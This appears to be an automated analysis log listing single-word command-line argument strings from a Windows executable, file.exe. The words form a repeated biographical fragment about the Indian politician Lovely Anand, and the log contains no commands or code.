Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
